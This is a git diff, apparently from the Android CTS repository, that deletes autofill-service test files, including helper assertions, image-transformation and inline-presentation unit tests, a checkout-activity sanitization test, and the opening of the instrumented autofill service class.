-        final ComponentName componentName = structure.getActivityComponent();
-        if (componentName == null) return "N/A (no component name)";
-
-        return componentName.flattenToShortString();
-    }
-
-    public static void assertFloat(float actualValue, float expectedValue) {
-        assertThat(actualValue).isWithin(1.0e-10f).of(expectedValue);
-    }
-
-    public static void assertHasFlags(int actualFlags, int expectedFlags) {
-        assertWithMessage("Flags %s not in %s", expectedFlags, actualFlags)
-                .that(actualFlags & expectedFlags).isEqualTo(expectedFlags);
-    }
-
-    public static String callbackEventAsString(int event) {
-        switch (event) {
-            case AutofillCallback.EVENT_INPUT_HIDDEN:
-                return "HIDDEN";
-            case AutofillCallback.EVENT_INPUT_SHOWN:
-                return "SHOWN";
-            case AutofillCallback.EVENT_INPUT_UNAVAILABLE:
-                return "UNAVAILABLE";
-            default:
-                return "UNKNOWN:" + event;
-        }
-    }
-
-    public static String importantForAutofillAsString(int mode) {
-        switch (mode) {
-            case View.IMPORTANT_FOR_AUTOFILL_AUTO:
-                return "IMPORTANT_FOR_AUTOFILL_AUTO";
-            case View.IMPORTANT_FOR_AUTOFILL_YES:
-                return "IMPORTANT_FOR_AUTOFILL_YES";
-            case View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS:
-                return "IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS";
-            case View.IMPORTANT_FOR_AUTOFILL_NO:
-                return "IMPORTANT_FOR_AUTOFILL_NO";
-            case View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS:
-                return "IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS";
-            default:
-                return "UNKNOWN:" + mode;
-        }
-    }
-
-    public static boolean hasHint(@Nullable String[] hints, @Nullable Object expectedHint) {
-        if (hints == null || expectedHint == null) return false;
-        for (String actualHint : hints) {
-            if (expectedHint.equals(actualHint)) return true;
-        }
-        return false;
-    }
-
-    public static Bundle newClientState(String key, String value) {
-        final Bundle clientState = new Bundle();
-        clientState.putString(key, value);
-        return clientState;
-    }
-
-    public static void assertAuthenticationClientState(String where, Bundle data,
-            String expectedKey, String expectedValue) {
-        assertWithMessage("no client state on %s", where).that(data).isNotNull();
-        final String extraValue = data.getString(expectedKey);
-        assertWithMessage("invalid value for %s on %s", expectedKey, where)
-                .that(extraValue).isEqualTo(expectedValue);
-    }
-
-    /**
-     * Asserts that 2 bitmaps have are the same. If they aren't throws an exception and dump them
-     * locally so their can be visually inspected.
-     *
-     * @param filename base name of the files generated in case of error
-     * @param bitmap1 first bitmap to be compared
-     * @param bitmap2 second bitmap to be compared
-     */
-    // TODO: move to common code
-    public static void assertBitmapsAreSame(@NonNull String filename, @Nullable Bitmap bitmap1,
-            @Nullable Bitmap bitmap2) throws IOException {
-        assertWithMessage("1st bitmap is null").that(bitmap1).isNotNull();
-        assertWithMessage("2nd bitmap is null").that(bitmap2).isNotNull();
-        final boolean same = bitmap1.sameAs(bitmap2);
-        if (same) {
-            Log.v(TAG, "bitmap comparison passed for " + filename);
-            return;
-        }
-
-        final File dir = getLocalDirectory();
-        if (dir == null) {
-            throw new AssertionError("bitmap comparison failed for " + filename
-                    + ", and bitmaps could not be dumped on " + dir);
-        }
-        final File dump1 = dumpBitmap(bitmap1, dir, filename + "-1.png");
-        final File dump2 = dumpBitmap(bitmap2, dir, filename + "-2.png");
-        throw new AssertionError(
-                "bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
-    }
-
-    @Nullable
-    private static File getLocalDirectory() {
-        final File dir = new File(LOCAL_DIRECTORY);
-        dir.mkdirs();
-        if (!dir.exists()) {
-            Log.e(TAG, "Could not create directory " + dir);
-            return null;
-        }
-        return dir;
-    }
-
-    @Nullable
-    private static File createFile(@NonNull File dir, @NonNull String filename) throws IOException {
-        final File file = new File(dir, filename);
-        if (file.exists()) {
-            Log.v(TAG, "Deleting file " + file);
-            file.delete();
-        }
-        if (!file.createNewFile()) {
-            Log.e(TAG, "Could not create file " + file);
-            return null;
-        }
-        return file;
-    }
-
-    @Nullable
-    private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
-            @NonNull String filename) throws IOException {
-        final File file = createFile(dir, filename);
-        if (file != null) {
-            dumpBitmap(bitmap, file);
-
-        }
-        return file;
-    }
-
-    @Nullable
-    public static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File file) {
-        Log.i(TAG, "Dumping bitmap at " + file);
-        BitmapUtils.saveBitmap(bitmap, file.getParent(), file.getName());
-        return file;
-    }
-
-    /**
-     * Creates a file in the device, using the name of the current test as a prefix.
-     */
-    @Nullable
-    public static File createTestFile(@NonNull String name) throws IOException {
-        final File dir = getLocalDirectory();
-        if (dir == null) return null;
-
-        final String prefix = TestNameUtils.getCurrentTestName().replaceAll("\\.|\\(|\\/", "_")
-                .replaceAll("\\)", "");
-        final String filename = prefix + "-" + name;
-
-        return createFile(dir, filename);
-    }
-
-    /**
-     * Offers an object to a queue or times out.
-     *
-     * @return {@code true} if the offer was accepted, {$code false} if it timed out or was
-     * interrupted.
-     */
-    public static <T> boolean offer(BlockingQueue<T> queue, T obj, long timeoutMs) {
-        boolean offered = false;
-        try {
-            offered = queue.offer(obj, timeoutMs, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            Log.w(TAG, "interrupted offering", e);
-            Thread.currentThread().interrupt();
-        }
-        if (!offered) {
-            Log.e(TAG, "could not offer " + obj + " in " + timeoutMs + "ms");
-        }
-        return offered;
-    }
-
-    /**
-     * Calls this method to assert given {@code string} is equal to {@link #LARGE_STRING}, as
-     * comparing its value using standard assertions might ANR.
-     */
-    public static void assertEqualsToLargeString(@NonNull String string) {
-        assertThat(string).isNotNull();
-        assertThat(string).hasLength(LARGE_STRING_SIZE);
-        assertThat(string.charAt(0)).isEqualTo(LARGE_STRING_CHAR);
-        assertThat(string.charAt(LARGE_STRING_SIZE - 1)).isEqualTo(LARGE_STRING_CHAR);
-    }
-
-    /**
-     * Asserts that autofill is enabled in the context, retrying if necessariy.
-     */
-    public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
-            throws Exception {
-        assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
-    }
-
-    /**
-     * Asserts that autofill is enabled in the manager, retrying if necessariy.
-     */
-    public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
-            throws Exception {
-        Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
-            final boolean actual = afm.isEnabled();
-            Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
-            return actual == expected ? "not_used" : null;
-        });
-    }
-
-    /**
-     * Asserts these autofill ids are the same, except for the session.
-     */
-    public static void assertEqualsIgnoreSession(@NonNull AutofillId id1, @NonNull AutofillId id2) {
-        assertWithMessage("id1 is null").that(id1).isNotNull();
-        assertWithMessage("id2 is null").that(id2).isNotNull();
-        assertWithMessage("%s is not equal to %s", id1, id2).that(id1.equalsIgnoreSession(id2))
-                .isTrue();
-    }
-
-    /**
-     * Asserts {@link View#isAutofilled()} state of the given view, waiting if necessarity to avoid
-     * race conditions.
-     */
-    public static void assertViewAutofillState(@NonNull View view, boolean expected)
-            throws Exception {
-        Timeouts.FILL_TIMEOUT.run("assertViewAutofillState(" + view + ", " + expected + ")",
-                () -> {
-                    final boolean actual = view.isAutofilled();
-                    Log.v(TAG, "assertViewAutofillState(): expected=" + expected + ", actual="
-                            + actual);
-                    return actual == expected ? "not_used" : null;
-                });
-    }
-
-    /**
-     * Allows the test to draw overlaid windows.
-     *
-     * <p>Should call {@link #disallowOverlays()} afterwards.
-     */
-    public static void allowOverlays() {
-        ShellUtils.setOverlayPermissions(MY_PACKAGE, true);
-    }
-
-    /**
-     * Disallow the test to draw overlaid windows.
-     *
-     * <p>Should call {@link #disallowOverlays()} afterwards.
-     */
-    public static void disallowOverlays() {
-        ShellUtils.setOverlayPermissions(MY_PACKAGE, false);
-    }
-
-    public static RemoteViews createPresentation(String message) {
-        final RemoteViews presentation = new RemoteViews(getContext()
-                .getPackageName(), R.layout.list_item);
-        presentation.setTextViewText(R.id.text1, message);
-        return presentation;
-    }
-
-    public static InlinePresentation createInlinePresentation(String message) {
-        final PendingIntent dummyIntent =
-                PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
-        return createInlinePresentation(message, dummyIntent, false);
-    }
-
-    public static InlinePresentation createInlinePresentation(String message,
-            PendingIntent attribution) {
-        return createInlinePresentation(message, attribution, false);
-    }
-
-    public static InlinePresentation createPinnedInlinePresentation(String message) {
-        final PendingIntent dummyIntent =
-                PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
-        return createInlinePresentation(message, dummyIntent, true);
-    }
-
-    private static InlinePresentation createInlinePresentation(@NonNull String message,
-            @NonNull PendingIntent attribution, boolean pinned) {
-        return new InlinePresentation(
-                InlineSuggestionUi.newContentBuilder(attribution)
-                        .setTitle(message).build().getSlice(),
-                new InlinePresentationSpec.Builder(new Size(100, 100), new Size(400, 100))
-                        .build(), /* pinned= */ pinned);
-    }
-
-    public static void mockSwitchInputMethod(@NonNull Context context) throws Exception {
-        final ContentResolver cr = context.getContentResolver();
-        final int subtype = Settings.Secure.getInt(cr, SELECTED_INPUT_METHOD_SUBTYPE);
-        Settings.Secure.putInt(cr, SELECTED_INPUT_METHOD_SUBTYPE, subtype);
-    }
-
-    /**
-     * Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
-     */
-    public static void resetApplicationAutofillOptions(@NonNull Context context) {
-        AutofillOptions options = AutofillOptions.forWhitelistingItself();
-        options.augmentedAutofillEnabled = false;
-        context.getApplicationContext().setAutofillOptions(options);
-    }
-
-    /**
-     * Clear AutofillOptions.
-     */
-    public static void clearApplicationAutofillOptions(@NonNull Context context) {
-        context.getApplicationContext().setAutofillOptions(null);
-    }
-
-    private Helper() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-
-    static class FieldClassificationResult {
-        public final AutofillId id;
-        public final String[] categoryIds;
-        public final float[] scores;
-
-        FieldClassificationResult(@NonNull AutofillId id, @NonNull String categoryId, float score) {
-            this(id, new String[] { categoryId }, new float[] { score });
-        }
-
-        FieldClassificationResult(@NonNull AutofillId id, @NonNull String[] categoryIds,
-                float[] scores) {
-            this.id = id;
-            this.categoryIds = categoryIds;
-            this.scores = scores;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
deleted file mode 100644
index 66e857b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-/**
- * Enum used to explain the meaning of node ids used by test cases.
- */
-enum IdMode {
-    RESOURCE_ID,
-    HTML_NAME,
-    HTML_NAME_OR_RESOURCE_ID
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
deleted file mode 100644
index 06bb218..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ /dev/null
@@ -1,223 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.only;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.ImageTransformation;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class ImageTransformationTest {
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testAllNullBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new ImageTransformation.Builder(null, null, 0));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testNullAutofillIdBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new ImageTransformation.Builder(null, Pattern.compile(""), 1));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testNullRegexBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new ImageTransformation.Builder(new AutofillId(1), null, 1));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testNullSubstBuilder() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void fieldCannotBeFound() throws Exception {
-        AutofillId unknownId = new AutofillId(42);
-
-        ImageTransformation trans = new ImageTransformation
-                .Builder(unknownId, Pattern.compile("val"), 1)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(unknownId)).thenReturn(null);
-
-        trans.apply(finder, template, 0);
-
-        // if a view cannot be found, nothing is set
-        verify(template, never()).setImageViewResource(anyInt(), anyInt());
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void theOneOptionsMatches() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*"), 42)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 42);
-    }
-
-    @Test
-    public void theOneOptionsMatchesWithContentDescription() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 42);
-        verify(template).setContentDescription(0, "Are you content?");
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void noOptionsMatches() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile("val"), 42)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("bad-val");
-
-        trans.apply(finder, template, 0);
-
-        verify(template, never()).setImageViewResource(anyInt(), anyInt());
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void multipleOptionsOneMatches() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*1"), 1)
-                .addOption(Pattern.compile(".*2"), 2)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val-2");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 2);
-    }
-
-    @Test
-    public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
-                .addOption(Pattern.compile(".*2"), 2, "I am content")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val-2");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 2);
-        verify(template).setContentDescription(0, "I am content");
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void twoOptionsMatch() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*a.*"), 1)
-                .addOption(Pattern.compile(".*b.*"), 2)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("ab");
-
-        trans.apply(finder, template, 0);
-
-        // If two options match, the first one is picked
-        verify(template, only()).setImageViewResource(0, 1);
-    }
-
-    @Test
-    public void twoOptionsMatchWithContentDescription() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
-                .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("ab");
-
-        trans.apply(finder, template, 0);
-
-        // If two options match, the first one is picked
-        verify(template).setImageViewResource(0, 1);
-        verify(template).setContentDescription(0, "Are you content?");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java
deleted file mode 100644
index 6bef659..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class InitializedCheckoutActivity extends CheckoutActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.initialized_checkout_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
deleted file mode 100644
index 43000cc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_EXPIRATION;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.CheckoutActivity.ID_SAVE_CC;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_ADDRESS_HOME;
-import static android.autofillservice.cts.Helper.assertListValue;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertToggleValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.platform.test.annotations.AppModeFull;
-
-import org.junit.Test;
-
-/**
- * Test case for an activity containing non-TextField views with initial values set on XML.
- */
-@AppModeFull(reason = "CheckoutActivityTest() is enough")
-public class InitializedCheckoutActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<InitializedCheckoutActivity> {
-
-    private InitializedCheckoutActivity mCheckoutActivity;
-
-    @Override
-    protected AutofillActivityTestRule<InitializedCheckoutActivity> getActivityRule() {
-        return new AutofillActivityTestRule<InitializedCheckoutActivity>(
-                InitializedCheckoutActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mCheckoutActivity = getActivity();
-            }
-        };
-
-    }
-
-    @Test
-    public void testSanitization() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger auto-fill.
-        mCheckoutActivity.onCcNumber((v) -> v.requestFocus());
-
-        // Assert sanitization: most everything should be available...
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_CC_NUMBER), "4815162342");
-        assertListValue(findNodeByResourceId(fillRequest.structure, ID_ADDRESS),
-                INDEX_ADDRESS_HOME);
-        assertToggleValue(findNodeByResourceId(fillRequest.structure, ID_SAVE_CC), true);
-
-        // ... except Spinner, whose initial value cannot be set by resources:
-        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InlinePresentationTest.java b/tests/autofillservice/src/android/autofillservice/cts/InlinePresentationTest.java
deleted file mode 100644
index b4ff09e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InlinePresentationTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.net.Uri;
-import android.os.Parcel;
-import android.service.autofill.InlinePresentation;
-import android.util.Size;
-import android.widget.inline.InlinePresentationSpec;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class InlinePresentationTest {
-
-    @Test
-    public void testNullInlinePresentationSpecsThrowsException() {
-        assertThrows(NullPointerException.class,
-                () -> createInlinePresentation(/* createSlice */true, /* createSpec */  false));
-    }
-
-    @Test
-    public void testNullSliceThrowsException() {
-        assertThrows(NullPointerException.class,
-                () -> createInlinePresentation(/* createSlice */false, /* createSpec */  true));
-    }
-
-    @Test
-    public void testInlinePresentationValues() {
-        InlinePresentation presentation =
-                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
-
-        assertThat(presentation.isPinned()).isFalse();
-        assertThat(presentation.getInlinePresentationSpec()).isNotNull();
-        assertThat(presentation.getSlice()).isNotNull();
-        assertThat(presentation.getSlice().getItems().size()).isEqualTo(0);
-    }
-
-    @Test
-    public void testtInlinePresentationParcelizeDeparcelize() {
-        InlinePresentation presentation =
-                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
-
-        Parcel p = Parcel.obtain();
-        presentation.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        InlinePresentation targetPresentation = InlinePresentation.CREATOR.createFromParcel(p);
-        p.recycle();
-
-        assertThat(targetPresentation.isPinned()).isEqualTo(presentation.isPinned());
-        assertThat(targetPresentation.getInlinePresentationSpec()).isEqualTo(
-                presentation.getInlinePresentationSpec());
-        assertThat(targetPresentation.getSlice().getUri()).isEqualTo(
-                presentation.getSlice().getUri());
-        assertThat(targetPresentation.getSlice().getSpec()).isEqualTo(
-                presentation.getSlice().getSpec());
-    }
-
-    private InlinePresentation createInlinePresentation(boolean createSlice, boolean createSpec) {
-        Slice slice = createSlice ? new Slice.Builder(Uri.parse("testuri"),
-                new SliceSpec("type", 1)).build() : null;
-        InlinePresentationSpec spec = createSpec ? new InlinePresentationSpec.Builder(
-                new Size(100, 100), new Size(400, 100)).build() : null;
-        return new InlinePresentation(slice, spec, /* pined */ false);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
deleted file mode 100644
index 9e246df..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ /dev/null
@@ -1,737 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.FAILURE;
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.TIMEOUT;
-import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.getActivityName;
-import static android.autofillservice.cts.Timeouts.CONNECTION_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.FILL_EVENTS_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.IDLE_UNBIND_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.RESPONSE_DELAY_MS;
-import static android.autofillservice.cts.Timeouts.SAVE_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.CannedFillResponse.ResponseType;
-import android.content.ComponentName;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.SystemClock;
-import android.service.autofill.AutofillService;
-import android.service.autofill.Dataset;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.FillResponse;
-import android.service.autofill.SaveCallback;
-import android.util.Log;
-import android.view.inputmethod.InlineSuggestionsRequest;
-
-import androidx.annotation.Nullable;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.TestNameUtils;
-import com.android.compatibility.common.util.Timeout;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Implementation of {@link AutofillService} used in the tests.
- */
-public class InstrumentedAutoFillService extends AutofillService {
-
-    static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
-    static final String SERVICE_CLASS = "InstrumentedAutoFillService";
-
-    static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
-
-    // TODO(b/125844305): remove once fixed
-    private static final boolean FAIL_ON_INVALID_CONNECTION_STATE = false;
-
-    private static final String TAG = "InstrumentedAutoFillService";
-
-    private static final boolean DUMP_FILL_REQUESTS = false;
-    private static final boolean DUMP_SAVE_REQUESTS = false;
-
-    protected static final AtomicReference<InstrumentedAutoFillService> sInstance =
-            new AtomicReference<>();
-    private static final Replier sReplier = new Replier();
-
-    private static AtomicBoolean sConnected = new AtomicBoolean(false);
-
-    protected static String sServiceLabel = SERVICE_CLASS;
-
-    // We must handle all requests in a separate thread as the service's main thread is the also
-    // the UI thread of the test process and we don't want to hose it in case of failures here
-    private static final HandlerThread sMyThread = new HandlerThread("MyServiceThread");
-    private final Handler mHandler;
-
-    private boolean mConnected;
-
-    static {
-        Log.i(TAG, "Starting thread " + sMyThread);
-        sMyThread.start();
-    }
-
-    public InstrumentedAutoFillService() {
-        sInstance.set(this);
-        sServiceLabel = SERVICE_CLASS;
-        mHandler = Handler.createAsync(sMyThread.getLooper());
-        sReplier.setHandler(mHandler);
-    }
-
-    private static InstrumentedAutoFillService peekInstance() {
-        return sInstance.get();
-    }
-
-    /**
-     * Gets the list of fill events in the {@link FillEventHistory}, waiting until it has the
